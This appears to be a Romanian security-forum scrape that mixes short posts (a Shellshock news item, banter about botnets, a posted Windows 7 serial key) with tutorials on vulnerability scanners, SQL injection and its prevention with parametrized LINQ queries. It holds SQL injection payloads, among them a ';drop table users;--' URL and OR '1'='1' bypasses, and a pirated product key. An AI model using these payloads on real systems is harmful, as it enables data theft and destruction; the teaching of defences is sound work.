Aerosol

bine inteles copii s-au jucat deja

1) SQL injection - Wikipedia, the free encyclopedia 2) Atacurile SQL INJECTION 3) depinde , php , js (html- desi nu e considerat limbaj de programare) 4) e o intrebare extrem de stupida ... dar pentru inceput renunta la windows baga-ti linux de referat kali ... http://www.kali.org/downloads/ http://www.offensive-security.com/

?La nici 24 de ore dupa ce autoritatile SUA au avertizat companiile si institutiile in legatura cu o vulnerabilitate infomatica de proportii numita Shellshock, hackerii pregatesc malware pentru a ataca sisteme de computere din intreaga lume. Prima consecinta pare sa fie ca hackerii construiesc botnet-uri uriase (retele de calculatoare infectate) pe care sa le foloseasca la atacuri mari de DDoS. Financial Times a contactat mai multe companii de securitate informatica ce spun ca deja au detectat intruziuni si malware gandit sa exploateze vulnerabilitatea Shellshock considerata pe o scara de la 1 la 10 cea mai grava din istoria internetului din cauza efectelor pe care atacurile concertate le-ar putea avea mai ales asupra serverelor. Oficialii de la US Department of Homeland Security au considerat Shellshock ca fiind o amenintare de gravitate maxima (10 pe o scara de la 1 la 10, in timp ce amenintarea Heartbleed descoperita in aprilie fusese cotata la 5 din 10. Shellshock este un bug intr-un software ezoteric numit Bash care este nelipsit de pe sistemele de computere cu Unix si Linux si derivatele lor. Aceste sisteme sunt intalnite pe serverele puternice care sunt esentiale pentru infrastructura internetului. Vulnerabilitatea exista de peste 20 de ani si hackerii pot sa o exploateze pentru a avea acces neautorizat la sisteme de computere in scopuri criminale, de spionaj sau de distrugere. Se crede ca unele guverne stiau de acest bug si l-ar fi exploatat pentru a supraveghea cetatenii, insa acum e prima oara cand puterea lui e adusa la cunostiinta publicului, cu aceasta ocazie afland si infractorii informatici sau diverse organizatii ostile. Prima consecinta pare sa fie ca hackerii construiesc botnet-uri uriase (retele de calculatoare infectate) pe care sa le foloseasca la atacuri mari de tipul distributed denial of service attacks (DDoS). Sunt in plus semne ca vulnerabilitatea din Bash va fi exploatata si cu mijloace si mai sofisticate, astfel ca un hacker sa poata controla de la distanta un computer dupa cum va dori. Un expert britanic de securitate spune ca Shellshock poate fi transformat intr-un "vierme informatic", o forma de malware foarte virulenta ce se poate raspandi foarte repede, fiind capabil sa infecteze milioane de computere in doar cateva zile. Expertii in securitate avertizeaza ca problema e un semn clar ca bazele internetului sunt instabile fiindca multe companii si organizatii sunt in pericol si nici nu isi dau seama de asta. Un specialist al unei companii de cloud-computing spune ca se lucreaza enorm la intarirea securitatii pe internet, insa putini isi dau seama ca intreg internetul este construit pe o fundatie veche si instabila care acum se clatina. Amenintarea adusa de bug-ul Shellshock poate fi mult diminuata actualizand sistemele, insa acest lucru dureaza si e foarte posibil ca atacatorii sa se miste mai repede. Sunt insa si voci care spun ca pericolul adus de Shellshock este mult exagerat si ca nu se va intampla nimic grav. Source

Bine ai venit!

functioneaza perfect, mi-am trimis pe un numar vechi, am scris 30 dar a trmis doar 27 (destul de bine zic eu )

) wow, partea cu web-ul cea mai tare.

@verdelemeu uite ca si tu ai "calcat stramb"

@Che platesti pentru fiecare test?

Serial Number: Microsoft Windows 7 Ultimate 9UxB3nM0zsxE3jrO9KZx8qHEN2lO1D1U9UxBMnMqzCG/ (X2 - EB4)

Copile daca tu esti prost nu comenta aiurea, in primul rand am citit articolul dar nu am stat sa verific toate link-urile (greseala mea) daca poti spune ceva inteligent spune, daca stii ca esti prost stai in banca ta. De unde apar astia ca tine ma... On: am sters alea @TinKode nu am verificat link-urile...

1. Definirea vulnerabilitatilor O vulnerabilitate in securitatea IT reprezinta o suma de conditii care impreuna pot duce la un sistem deschis accesului nedorit sau neautorizat din partea unui intrus, la neputinta de a folosi corespunzator sistemul sau reprezinta o violare a politicilor de securitate ale sistemului. O vulnerabilitate se poate referi la politica de securitate a sistemului, la modul cum a fost planificat, implementat sau configurat. Astfel, o vulnerabilitate poate fi reprezentata de una din urmatoarele: 2. Definirea aplicatiilor care evalueaza vulnerabilitatile O aplicatie care evalueaza vulnerabilitatile (scanner de vulnerabilitati) poate fi definita ca un utilitar care poate fi folosit pentru a testa securitatea unui sistem sau a unei retele si descopera puncte de slabiciune. Aceste aplicatii nu ofera in mod direct protectie sau securitate pentru un sistem sau o retea dar in schimb aduna si raporteaza informatii pe care alte mecanisme, politici sau aplicatii le pot pune in aplicare pentru a oferi protectie impotriva vulnerabilitatilor gasite. Aplicatiile de evaluare a vulnerabilitatilor pot fi, in general, de urmatoarele tipuri: Gazda Aplicatiile de evaluare a vulnerabilitatilor gazda scaneaza si raporteaza doar calculatorul pe care se afla; nu au nici un fel de interactiune cu alte sisteme. Avantajul acestei arhitecturi consta in faptul ca scannerul are acces complet la toate resursele sistemului, cum ar fi inregistrari sau fisiere de sistem. Principalul dezavantaj consta in posibilitatea scannerului de a consuma prea mult din resursele calculatorului. Serviciu Aplicatiile de retea care evalueaza vulnerabilitatile sunt aplicatii care sunt proiectate sa scaneze o serie de calculatoare si serviciile de retea pe care acestea le ofera pentru a identifica vulnerabilitati. Aceste aplicatii variaza de la simple scannere de porturi, care identifica ce porturi sunt deschise, pana la scannere automate care vor detecta care calculatoare sunt in functiune si vor incerca sa extraga de la ele date si informatii referitoare la vulnerabilitati. Aplicatiile mai avansate permit utilizatorului sa specifice care tip de vulnerabilitati sunt de interes si de asemenea permit generarea unui raport la finalul scanarii. Exista de asemenea si scannere proiectate pentru un tip specific de serviciu, de exemplu scannere de vulnerabilitati de baze de date. Aplicatie Cele mai intalnite astfel de scannere sunt cele pentru aplicatii web. Exista o multitudine de astfel de scannere specifice care pot varia de la simple utilitare care ajuta la localizarea paginilor web care nu ar trebui sa fie accesibile pana la scannere complexe care sa incerce manipularea aplicatiei web de asa natura incat sa obtina informatii sau acces suplimentar. Un exemplu de manipulare ar putea fi incercarea de injectare de interogari SQL pentru a putea ocoli securitatea sau pentru a accesa informatii stocate in aplicatie. Scannere active Scannerele active incearca sa compromita (sau sa evalueze posibilitatea de a compromite) o retea, un sistem sau serviciu specific folosind strategii de atac care ar putea fi folosite intr-un atac real. Multe dintre scannerele active identifica vulnerabilitatile cauzate de configurari defectuoase sau de patch-uri de sistem lipsa. Motivul pentru care sunt denumite "active" este pentru ca efectueaza teste care consuma efectiv resurse ale retelei. Un avantaj al scannerelor active este ca administratorul are un control imbunatatit asupra timpului si a profunzimii scanarii de vulnerabilitati. Un alt avantaj consta in faptul ca, uneori, prezenta unei vulnerabilitati poate fi determinata de succesul unui test (de exemplu daca scannerul ghiceste un nume de cont sau o parola). Marele dezavantaj al scannerelor active consta in posibilitatea lor de a intrerupe functionarea sistemelor. Scannerele active nu ar trebui folosite asupra sistemelor critice operationale fara o planificare atenta in prealabil. Scannerele active, prin definitie, folosesc resursele sistemului fapt ce ar pute conduce la incetinirea altor procese. Scannere pasive Scannerele pasive, spre deosebire de cele active, nu afecteaza in mod semnificativ resursele sistemului deoarece doar monitorizeaza datele pe sistem si executa orice procesari ale datelor pe o masina separata de analiza. Scannerele pasive se comporta similar cu sistemele de detectie a intruziunilor, in sensul ca intercepteaza sau primesc date despre sistem si le evalueaza folosind un set de reguli. Analiza ofera informatii despre procesele care ruleaza pe sistem. Un avantaj al acestui tip de scanner este ca scannerele pasive pot functiona "non-stop" deoarece nu consuma din resursele sistemului. Un dezavantaj consta in faptul ca scannerele pasive vor raporta informatii derivate doar din date disponibile cu usurinta, dintre care unele sunt de multe ori deduse deci pot fi inexacte. In general, tipurile de teste folosite de un scanner pasiv sunt: determinarea versiunii unui program pentru a verifica prezenta vulnerabilitatilor (de exemplu daca a fost aplicat un patch sau nu) si verificarea prezentei unui program care nu a mai fost intalnit in sistem. Un exemplu de detectie pasiva a semnaturii unei vulnerabilitati il reprezinta analiza unui banner SMTP (Simple Mail Transfer Protocol) atunci cand o conexiune catre un server de e-mail este facuta pentru a verifica daca acel server ruleaza o versiune vulnerabila de SMTP. 3. Tipuri de vulnerabilitati Vulnerabilitatile pot exista in software-ul serviciilor de retea sau in software-ul care este capabil sa primeasca date din retea. Viermii din internet si compromiterea sistemelor de la distanta exploateaza vulnerabilitati ale serviciilor de retea. Alte vulnerabilitati sunt locale pentru o aplicatie particulara care ruleaza pe un calculator sau care are nevoie de acces nemijlocit la sistemul de operare sau la sistemul de fisiere al calculatorului respectiv. Toate tipurile de vulnerabilitati de mai jos se aplica atat vulnerabilitatilor serviciilor de retea cat si vulnerabilitatilor locale: 4. Practici generale in folosirea aplicatiilor de evaluare a vulnerabilitatilor Aplicatiile de evaluarea a vulnerabilitatilor sunt doar unelte de detectie si doar prin intelegerea, analiza si actiunea unui administrator de sistem pot deveni unelte de protectie impotriva vulnerabilitatilor. Toate aceste aplicatii necesita un grad ridicat de expertiza tehnica si timp pentru a intelege, alerta, a stabili ca nu este un fals pozitiv si a lua masurile necesare. Scannerele de vulnerabilitati sunt folosite pentru a ajuta la protejarea sistemelor sau retelei asa ca asigurati-va ca aceste aplicatii nu au efectul opus, deteriorarea sistemelor si degradarea performatei lor. Este recomandat ca inainte de a folosi un nou scanner de vulnerabilitati, sau de a implementa noi teste pentru acest scanner sa fie rulate in prealabil pe un sistem sau o retea care nu se afla in exploatare. Este de asemenea recomandat ca testele care pot avea un efect distructiv sa fie inlaturate atunci cand se efectueaza scanari pe o retea operationala. Inainte de a folosi aceste aplicatii este esentiala o buna intelegere a modului lor de functionare precum si a datelor care pot fi culese in urma folosirii lor. Trebuie luata in considerare locatia sursa de unde se va face scanarea deoarece mecanismele de securitate vor fi, cel mai probabil, diferite in functie de tipul accesului: din afara retelei sau din interiorul ei. Decizia despre unde sa fie pozitionata sursa trebuie luata in functie de datele care se doresc a fi obtinute. O scanare din exteriorul retelei va simula un atacator extern in timp ce o scanare din interiorul retelei va arata cu mai mare acuratete vulnerabilitatile prezente in sistem si care pot fi exploatate de un atacator din interior sau care a compromis un sistem din interiorul retelei. Atunci cand se efectueaza o scanare a unei retele toate calculatoarele din retea ar trebui sa colecteze inregistrari despre ce se intampla. Acestea reprezinta mecanisme de validare a unui rezultat pentru a determina daca o vulnerabilitate raportata a fost corecta sau a fost un fals pozitiv. Utilizatorii de scannere de vulnerabilitati ar trebui sa scaneze in mod regulat sistemele lor, astfel avand un istoric asupra vulnerabilitatilor existente. In plus, utilizatorii de scannere de vulnerabilitati ar trebui sa urmareasca aparitia unor noi vulnerabilitati si sa aplice noile teste pentru acestea cat mai curand posibil. 5. Exemple de aplicatii de evaluare a vulnerabilitatilor Exista o multitudine de aplicatii de evaluare a vulnerabilitatilor atat comerciale cat si non-comerciale. Unele din scannerele de vulnerabilitati care au licenta open-source sau care sunt disponibile fara costuri sunt: Nikto, scanner open-source pentru servere web - http://www.cirt.net/code/nikto.shtml Microsoft Baseline Security Analyser, scanner de vulnerabilitati Microsoft destinat calculatoarelor cu sisteme de operare Microsoft Windows - Microsoft Baseline Security Analyzer – MBSA - TechNet Security OpenVAS, Open Vulnerabilty Assesment System Wald: OpenVAS: Project Home Paros, arhitectura pentru testare web - Paros | SourceForge.net Aplicatiile prezentate mai sus reprezinta doar o parte din multitudinea de aplicatii existente. Pentru mai multe informatii despre produsele de evaluare a vulnerabilitatilor vizitati adresele de mai jos: SecTools.Org Top Network Security Tools Network Scanners - securitywizardry.com Source

Intoducere Pe masur? ce numarul vulnerabilit??ilor de securitate ?i a încerc?rilor de a le exploata cresc, programatorilor li se cere s? trateze cu responsabilitate marit? securitatea aplica?iilor pe care le dezvolt?, la rândul lor dezvoltatorii mediilor de programare includ în platformele lor instrumente din ce în ce mai robuste. ?i totu?i to?i dezvoltatorii cad de acord c? cel mai efectiv mod de a proteja aplica?ia ?i de a preveni atacurile rau inten?ionate asupra sa, este de a proiecta ?i a implementa securitate programului din start. Din p?cate, echipelor de dezvoltare, de obicei le lipsesc antrenamentul necesar ?i resursele pentru a lua o decizie satisfacatoare asupra proiect?rii securita?ii aplica?iei. A?a cum dezvoltatorii sunt cei asupra c?rora cade povara de avea grija de rezisten?a la atacuri a unui program, prima vulnerabilitate a aplica?iilor web despre care înva??, este o form? deosebit de periculoas? a înser?rilor de comenzi: înser?rile SQL( SQL injections). Inser?rile de comenzi sunt un nume generic dat tuturor vulnerabilita?ilor care permit unui atacator s? specifice serverul o comand?, prin introducerea unui input care altereaz? comenzile normal acceptate ?i provoac? aplica?ia web s? se comporte într-un mod nedorit. Pentru c? sunt cele mai cunoscute SQL injection sunt atacurile cele mai frecvente, cele mai periculoase ?i omniprezente. Din fericire acest tip de atac poate fi înl?turat cu u?urin?? în momentul în care se in?elege cu adevarat problema. Din fericire, pentru a veni în întâmpinarea programatorilor, noua tehnologie de acces la baza de date oferit? de Microsoft, propune dezvoltatorilor pe platforma .NET oportunitatea elimin?rii vulnerabilit??ilor de tip SQL injection, atunci când technologia este utilizat? corespunz?tor. Tehnologia este LINQ (Language Integrated Query) ?i este parte integrant? din .NET Framework 3.5. Vedere de ansamblu SQL injection este un tip de vulnerabiltate a securita?ii unei aplica?ii web în care un atacator ofer? date mali?ioase programului, provocându-l s? execute pe server comenzi SQL nea?teptate. De?i acest tip de atac este destul de u?or de prevenit, el este pe cât de r?spîndit, pe atât de fatal, pentru c? permite atacatorilor s? execute comenzi nedorite direct pe baza de date cu care se lucreaz?. În cazuri extreme atacatorii pot nu numai s? ob?in? acces la toate informa?iile din baza de date, ci s? o ?i poat? modifica, ?terge sau ad?uga tabele ?i baze de date sau chiar s? capete controlul asupra serverului de baze de date. Dac? acest tip de atacuri este u?or de prevenit, de ce este atât de periculos? P?i în primul rând, baza de date a unei aplica?ii este o ?int? foarte atractiv? din motive evidente ?i prezint? un interes deosebit pentru atacatori. Un r?u inten?ionat poate detecta ?i exploata cu u?urin?? o aplica?ie web vulnerabil? la acest tip de atacuri. De aceea este evident, c? de?i gre?elile de tratare a SQL injections nu sunt cele mai frecvente din parte dezvoltatorilor, ele sunt cele mai des descoperite ?i exploatate cele mai frecvent. Un mod u?or de a detecta o vulnerabilitate la atacuri de tip SQL injection este de a insera un meta character intr-o secven?? de caractere despre care se ?tie c? va fi utilizat? pentru a crea o comand? care va incerca s? acceseze baza de date. De exemplu, pe orice site care are un câmp de input, un atacator ar putea introduce un meta caracter, ca de exemplu apostroful (') într-un câmp de cautare, s? dea “Search” pentru a provoca executare comenzii. Dac? aplica?ia întoarce un mesaj de eroare, atacatorul nu numai c? ?tie c? a g?sit o aplica?ie vulnerabil?, dar mai poate impune serverul s? execute ?i alte comenzi mali?ioase. Un expert în probleme de securitate, Michael Sutton, a exemplificat recent u?urin?a cu care se pot descoperi aplica?iile web vulnerabile la SQL injection prin identificarea a sute de siteuri poten?ial vulnerabile în câteva minute, prin utilizarea Google API. Anatomia SQL injection Vom incerca, cu ajutorul unui exemplu, s? exemplific?m cât de u?or este s? se fac? gre?elile care pot duce la vulnerabilitatea unei aplica?ii fa?? de atacurile de tip SQL injections ?i cât de u?or pot fi prevenite cu ceva aten?ie atras? proiect?rii ?i program?rii aceluia?i program. Aplica?ia web aleas? con?ine o pagin? simpl? de cautare a unui client, care este vulnerabil? la SQL injection. Pagina con?ine un textbox CompanyName ?i un datagrid, pentru a afi?a rezultatele ob?inute în urma c?ut?rii prin baza de date oferita de Microsoft ca exemplu: Northwind. Interogarea executat? în timpul caut?rii include o gre?eal? foarte frecvent întâlnit? în proiectarea aplica?iei ?i anume creaz? dinamic o comanda SQL din textul introdus de c?tre utilizator. Aceast? este gre?eala cardinal? în crearea aplica?iei, pentru c?, implicit se are încredere în datele introduse de utilizator ?i sunt trimise direct c?tre baza de date. Interogarea arat? a?a atunci când este ini?iat? de evenimentul ap?s?rii butonului Search: protected void btnSearch_Click(object sender, EventArgs e) { String cmd = "SELECT [CustomerID], [CompanyName], [ContactName] FROM [Customers] WHERE CompanyName ='" + txtCompanyName.Text + "'"; SqlDataSource1.SelectCommand = cmd; GridView1.Visible = true; } In scenariul prec?utat, dac? utilizatorul introduce de exemplu “Ernst Handel” ca pe numele unei companii, ap?sarea butonului Search, va genera, a?a cum se asteapta, înregistrarile pentru aceasta companie. Dar un atacator ar putea manipula lejer acest mod de crearea dinamic? a interog?rilor, de exemplu prin inserarea unui clauze UNION ?i încheierea secven?ei prin comentarii (--). Cu alte cuvinte, în loc de a introduce “Ernst Handel”, atacatorul introduce: Ernst Handel' UNION SELECT CustomerID, ShipName, ShipAddress FROM ORDERS— Ca rezultat, comanda SQL ce se execut? pe server adaug? cererea atacatorului ?i o transform? dinamic, s? arate a?a: SELECT [CustomerID], [CompanyName], [ContactName] FROM [Customers] WHERE CompanyName ='Ernst Handel' UNION SELECT CustomerID, ShipName, ShipAddress FROM ORDERS--' Astfel se ob?ine o comand? SQL perfect legal?, care se va executa asupra bazei de date a aplica?iei, returnând to?i consumatorii din tabelul Orders, care au facut comenzi. Rezultatul se poate vedea în figura al?turat? Metode tipice de evitare SQL injection Mai sus am observat cât de simplu putem crea ?i exploata vulnerabilit??ile de tip SQL injection într-un program construit prost. Din fericire, a?a cum am men?ionat anterior SQL injections pot fi prevenite u?or urmând câteva m?suri de precau?ie. Cea mai utilizat? ?i mai pu?in costisoare ca timp, este s? se valideze inputul acceptat de la utilizator în mod corespunz?tor, atunci când sunt transformate în comenzi ce o s? acceseze baza de date. Orice date de intrare introduse de c?tre clien?i, fie direct prin în aplica?ia web sau stocate deja, trebuie s? fie validate dupa tipul serverului, lungime sau format, înainte de a trimise mai departe. Din nefericire, aceste m?suri bazate pe codul surs? nu sunt imbatabile ?i pot e?ua atunci când: Modul de validare nu este definit corespunz?tor. Validarea se execut? numai la nivelul clientului. Validarea nu ia în calcul m?car un singur câmp al aplica?iei. Un nivel în plus de prevenire SQL injections, implic? parametrizarea corect? a tuturor interog?rilor SQL din aplica?ie, fie c? e vorba de comenzi SQL dinamice sau proceduri stocate. De exemplu codul ar fi fost sigur, dac? interog?rile ar fi fost structurate în felul urm?tor: SELECT [CustomerID], [CompanyName], [ContactName] FROM [Customers] WHERE CompanyName = @CompanyName Interog?rile parametrizate trateaz? datele introduse ca pe ni?te valori facând parte din comenzile SQL, în acest fel facând imposibil ca serverul s? trateze iterog?rile parametrizate ca ?i cod executabil. Chiar dac? se utilizeaz? procedurile stocate, parametrizarea inputului este necesar?, pentru c? procedurile stocate nu ofer? protec?ie împotriva SQL injections peste interog?rile încorporate în procedur?. Chiar ?i cu aceste trat?ri simple, inserarea codului SQL este în continuare o mare problem?. De aceea într-o echip? de programatori educarea fiecarui membru asupra acestor tipuri de vulnerabilit??i, elaborarea standartelor de securitate pentru a a preveni atacurile ?i aplicarea standartelor ?i stabilirea regulii ca s? nu scape nimic valid?rii, este o necesitate. Acesta implic? introducerea multor variabile în efortul pentru securizarea aplica?iei, a?a c? ar fi mai productiv dac? s-ar selecta o tehnologie de acces la baza de date care face SQL injections imposibile. Printre ele se num?r? ?i LINQ. Vedere general? asupra LINQ În esen?? LINQ introduce un standard de tratare a tuturor interogarilor ?i opera?iilor de actualizare a datelor, indiferent de tipul de stocare a datelor: baze de date SQL, documente XML, obiecte .NET. atunci cand sunt construite aplica?ii care s? lucreze cu bazele de datate, componenta LINQ care permite programatorilor s? trateze datele rela?ionate ca ?i obiecte C# sau VB, este cunoscut? ca “LINQ to SQL”, care este considerat? ca parte din familia tehnologiilor ADO.NET. Atunci când a fost introdus? ini?ial a purtat numele de DLINQ. “LINQ to SQL” permite tratarea datelor din aplica?ii ca obiecte native în limbajul folosit, abstractizând complexitatea managementului bazei de date ?i a conexiunilor din baza de date. De fapt, cu ajutorul LINQ, se pot afi?a ?i manipula date din baza de date, f?r? a scrie o singur? comanda SQL. La compilare, “LINQ to SQL” va traduce interog?rile integrate în cod, în SQL ?i le va executa asupra bazei de date. “LINQ to SQL” întoarce rezultatul interog?rii sub form? de obiecte, abstractizând complet interac?iunea cu baza de date ?i SQL. Nu exist? mod mai rapid de elimiare a amenin?arii cu SQL injection, dintr-o aplica?ie, decât a elimina SQL din aplica?ie. Acest lucru se ob?ine cu ajutorul “LINQ to SQL”. Securizarea accesului la date cu ajutorul LINQ “LINQ to SQL” atunci când este utilizat exclusiv pentru accesul la date, elimin? orice posibilitate de a se executa SQL injections în aplica?ie, pentru un motiv foarte simplu: orice interogare SQL pe care o executa LINQ este parametrizabil?. Orice date de intrare oferite din partea oric?ror fel de surse este tratat? ca un literal atunci când LINQ construieste comanda SQL din sintaxa interog?rilor integrat?. ?i mai mult, integrarea LINQ în Visual Studio Orcas asist? programatorii în construirea interog?rilor valide, prin tehnica IntelliSense ?i verificarea sintaxei în timpul compil?rii. Compilatorul detecteaz? multe dintre utiliz?rile eronate ale comenzilor, care ar putea produce defecte sau vulnerabilit??i în func?ionarea aplica?iei. În contrast, comenzile SQL scrise de mân? sunt parsate ?i interpretate asupra bazei de date la execu?ie f?r? ca s? ?tii daca sunt corecte sau nu. Singurul mod de a ataca “LINQ to SQL ” este ca un atacator s? încerce s? p?c?leasca LINQ s? creeze comenzi SQL ilegale sau nedorite. Din feiricire, limbajele ?i compilatoarele sunt proiectate ca sa ne fereasc? de asta. Cu acest lucru stabilit, d?m exemplu în continuare cum se poate implementa exemplu cu cautarea clientului de mai devreme utilizând “LINQ to SQL” pentru a ne proteja de atacuri de tip SQL injection. Primul pas este de crea obiectul model al rela?iilor dintre date în cadrul bazei de date. Visual Studio Orcas are integrat Object Relational Designer( O/R Designer) care permite generarea întregului model pentru baza de date, prin tragerea tabelelor pe suprafa?a de designd ?i definirea rela?iilor. Pentru a crea obiectul model al tabelului Northwind Customers, cre?m un fisier de baze de date “LINQ to SQL” în aplica?ie, prin selectarea “Add New Item..” în cadrul proiectului ?i alegând ?ablonul “LINQ to SQL File”, care deschide O/R Designer. Pentru a construi automat obiectul model complet pentru tabelul Customers, select?m tabelul din Server Explorer ?i îl tragem pe suprafa?a O/R Designer. Dup? aceasta, se adaug? automat un fisier Cusotmer.designer.cs care define?te clasele pe care o sa le utiliz?m, astfel evitând lucrul direct cu baza de date. Dup? definirea claselor obiectului model pentru informa?ia din tabelul Customers, putem interoga datele direct în codul din pagina de cautare a clien?ilor. Metoda Page_Load pentru pagina generata de LINQ ( LINQtoSQL.aspx.cs), instan?iaz? clasa CustomersDataContext creat? de O/R Designer, utilizând acela?i connection string ca ?i acel utilizat mai inainte. Exemplul de mai jos întoarce o colec?ie de obiecte de tip Customer, care sunt corespunz?toare cu rezultatele ob?inute din executarea interog?rii utilizând clauza WHERE: protected void Page_Load(object sender, EventArgs e) { string connectionString = ConfigurationManager.ConnectionStrings ["northwndConnectionString1"].ConnectionString; CustomersDataContext db = new CustomersDataContext(connectionString); GridView1.DataSource = from customer in db.Customers where customer.CompanyName == txtCompanyName.Text orderby customer.CompanyName select customer; GridView1.DataBind(); } Utilizând “LINQ to SQL”, dac? oferim ca valoarea c?utat? “Ernst Handel”, comanda SQL generat? ?i executat? de LINQ este: SELECT [t0].[CustomerID], [t0].[CompanyName], [t0].[ContactName], [t0].[ContactTitle], [t0].[Address], [t0].[City], [t0].[Region], [t0].[PostalCode], [t0].[Country], [t0].[Phone], [t0].[Fax] FROM [dbo].[Customers] AS [t0] WHERE [t0].[CompanyName] = @p0 ORDER BY [t0].[CompanyName]} Dup? cum se poate vedea, clauza WHERE este parametrizat? automat, prin aceasta devenind impenetrabil? la atacurile de tip SQL injection. Indiferent de valorile oferite de c?tre un utilizator, pentru c?utare, interogarea este sigur? ?i nu va permite datelor introduse s? fie executate direct de c?tre server. Dac? am introduce spre c?utarea ?irul de caractere utilizat mai inainte pentru a executa un SQL injection, interogarea nu va întoarce nici un rând. De fapt singura daun? pe care un utlizator ar putea s? o aduc? cu aceasta interogare, este s? execute un atac “brute force”, utilizând func?ia de c?utare, pentru a enumera toate înregistr?rile despre companiile din tabel, prin ghicirea tuturor valorilor posibile. Dar chiar ?i aceasta nu face mai mult decât s? ofere date facute publice deja ?i nu ofer? atacatorului posibiltatea s? insereze comenzi care s? ofere unele drepturi în plus pentru tabele sau baze de date. De la LINQ la securitate Dup? cum au ar?tat exemplele este foarte simplu s? se introduc? vulnerabilit??i de tip SQL injection în cadrul aplica?iilor web ?i nu este mai greu s? fie reparate. Dar nimic nu protejeaz? apriori programatorii de aceste gre?eli simple ?i în acela?i timp periculoase. Totu?i tehnologia “LINQ to SQL” propus? de Microsoft, elimin? posibilitatea de a executa atacuri de tip SQL injection asupra bazei de datate a unei aplica?ii, prin l?sarea programatorilor s? interac?ioneze direct cu obiectele model generate din datele rela?ionale ?i nu cu baza de date propriu-zis?. Infrastructura LINQ, integrat? în C# ?i Visual Basic, preia sarcina de construire a comenzilor SQL valide, prevenind atacurile de tip SQL injections ?i permi?ând programatorilor s? adopte stilul de programare care le este cel mai aproape. De aceea dac? se alege utilizarea “LINQ to SQL” ca o parte a unei noi aplica?ii .NET sau se alege s? se înlocuisc? cea veche, se face un pas spre aplica?ii mai sigure. Source

Eu unul zic ca cel mai simplu (nu face lag) este BandiCam

felicitari coaie

Bai frate intelege-ti ca "NU O SA PICATI NICI-O DATA UN SITE CU PROGRAME DE GENU" Poti pica site-uri daca ai boti pe mIRC sau daca esti baiat destept un botnet [sa aiba boti (pc-uri zombie) ca asa plm ] sau un script in perl, nu programe de copii ... (plus atacurile de genu' sunt extrem de copilaresti)

uite aici un tutorial despre Atacurile SQL ( https://rstforums.com/forum/90106-atacurile-sql-injection-new-post.rst) simplu' zic eu.

Casa de piatra @denjacker.

Introducere: Se stie ca astazi majoritatea aplicatiilor-web îsi pastreaza datele în baza de date, deoarece acest fapt permite de a genera dinamic pagini. Aplicatia-web primeste de la utilizatori date, ulterior aceste date sunt folosite de aplicatie/script pentru generarea unei cereri la baza de date. Evident ca în majoritatea cazurilor pentru a genera cereri la baza de date se utilizeaza limbajul SQL (Structured Query Language). SQL Injection este o vulnerabilitate ce apare în cazurile cînd datele primite de la utilizatori nu se prelucreaza corect. Ca consecinta – raufacatorul potential poate schimba cererea la baza de date, asfel fiind posibil furtul datelor private. Aceasta lucrare reflecta tehnicile simple si avansate ce sunt folosite de raufacatori în procesul de exploatare a vulnerabilitatii SQL Injection. Aceste tehnici demonstreaza cum pot fi cu usurinta obtinut continutul bazelor de date, datele private, realizarea atacului DoS, obtinerea privilegiilor maxime etc. Lucrarea e un studiu care este în primul rînd destinat web-programmerilor si expertilor în securitate, pentru a-i atrage atentia la seriozitatea si actualitatea temei abordate. În lucrare ma voi referi mai mul la aplicatiile ce lucreaza cu SGBD MySQL, MS SQL Server, Oracle deoarece acestea sunt cele mai raspîndite. Aceasta nu înseamna ca celelalte SGBD sunt mai securizate. 1. Bazele SQL-injection Pentru a întelege materialul de mai jos este nevoie de a cunoaste cel putin bazele limbajului de interogare SQL si realizarea lucrului cu bazele de date în PHP/ASP. Sa presupunem ca avem o baza de date ce contine relatia (tabelul) users de urmatoarea structura: O interogare ce extrage datele din baza de date poate avea forma: SELECT * FROM users WHERE name = '$name' În acest caz valorile din cîmpul “name” sunt comparate cu valoarea variabilei “$name”. Daca valoarea aceastei variabile a fost obtinuta din parametrii URL sau cookie si nu se prelucreaza la simboluri speciale atunci interogarea la baza de date este vulnerabila. Voi aduce un exemplu simplu cum raufacatorul poate modifica interogarea. Daca variabila $name primeste valoarea su, atunci cerea la baza de date va fi urmatoarea: SELECT * FROM users WHERE name = 'su' Interogarea este corecta. Însa daca valoarea variabilei va primi valoarea aaa' interogarea va deveni incorecta din punct de vedere sintactic, deoarece este prezent un simbol ' în plus: SELECT * FROM users WHERE name = 'aaa'' Simbolul ' permite de a modifica cererea la baza de date, si nu este unicul simbol ce permite acest lucru (dupa cum veti vedea mai jos). Sa presupunem ca cerea de mai sus o foloseste o aplicatie web pentru a afisa datele private a utilizatorului curent logat. Utilizînd simbolul ' raufacatorul cu usurinta poate vedea datele private a tuturor utilizatorilor înregistrati, transmitînd una din urmatoarele valori pentru parametrul $name (presupunem ca în sistem sunt înregistrati utilizatorii admin, su si lma0): random_data' OR name='admin random_data' OR name='su random_data' OR name='lma0 Cererile SQL la baza de date vor fi: SELECT * FROM users WHERE name='random_data' OR name='admin' SELECT * FROM users WHERE name='random_data' OR name='su' SELECT * FROM users WHERE name='random_data' OR name='lma0' Înjectarea permite de a extrage datele private a unui utilizator. Raufacatorul la dorinta poate sa obtina datele despre toti utilizatorii transmitind parametrului $name valoarea: random_data' OR '1'='1 Cererea cu codul injectat: SELECT * FROM users WHERE name='random_data' OR '1'='1' va întoarce toate tuplurile (înregistrarile) din tabelul users. 2. Proceduri de testare a aplicatiilor web la SQL-injection Procedurile de testare a aplicatiilor web la SQL-injection se reduc la formarea unei liste de parametri cu care lucreaza aplicatia (atît parametrii GET cît si POST), incluzînd si parametrii cookie. Apoi acesti parametri se testeaza individual la prelucrarea simbolurilor speciale sau a cuvintelor cheie (de genul WHERE) care ar ajuta la exploatarea vulnerabilitatii. 2.1. Identificarea parametrilor vulnerabili Sa presupunem ca aplicatia-web este configurata astfel, încît în cazul aparitiei unei erori SQL, în browser va apare textul erorii si posibil o portiune din interogare. Daca raufacatorului i se afiseaza chiar si o portiune de interogare, injectarea codului SQL malicios nu va fi o problema. Presupunem ca aplicatiei-web i s-a transmis un parametru GET id=aaa': http://127.0.0.1/inj.asp?id=aaa' Pentru a determina daca parametrul este vulnerabil este nevoie de a cauta în pagina returnata de server a frazelor de genul “ODBC”, “have an error”, “SQL syntax”, “SQL Server”, “MySQL”, “Oracle” etc. Exista cazuri cînd erorile returnate de server se plaseaza în parametrii ascunsi (hidden input, headers) sau comentarii. În acest caz raufacatorului îi este foarte usor de a injecta un cod SQL malicios: http://127.0.0.1/inj.asp?id=aaa';+drop+table+users;-- Ar trebui de mentionat ca nu toate SGBD permit concatenarea interogarilor la baza de date. Este foarte raspîndita situatia, cînd din textul erorii returnate de server poate fi aflat tipul bazei de date pe care o foloseste aplicatia-web: Warning: mysql_fetch_object(): 